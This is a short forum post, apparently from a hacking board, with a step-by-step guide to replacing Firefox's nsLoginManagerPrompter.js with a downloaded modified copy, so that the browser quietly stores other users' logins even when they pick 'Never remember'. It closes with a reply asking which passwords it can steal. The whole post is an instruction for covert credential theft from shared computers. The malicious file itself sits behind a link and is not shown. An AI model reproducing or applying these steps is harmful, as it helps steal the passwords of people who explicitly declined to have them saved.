This is a short guide explaining how to use Firefox as a stealer of sorts. Here is an example: Someone else is using your computer and signs into their Facebook but always tells Firefox “Do not remember for this site” or “Never remember” in those cases Firefox will not save this login info.

First download this file: [You must be registered and logged in to see this link.]
and close firefox

Locate the file “nsLoginManagerPrompter.js” which is usually located in C:\Program Files\M0zilla Firef0x\components\
and make a backup of it just in case you want to change it back or you screwed up.

Now take the file you downloaded and drag it in there to replace the old one.

Go open firefox and go to Tools>Options>Security

Make sure "Remember passwords for sites" is ticked and in Exceptions, sites that you want to steal passwords from are not in the list.

You are now ready to test it. Go onto any site and log in. Then go to the saved passwords in options and it should be there.

Credits to
justi2n1
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enjoy

which passwords can it steal???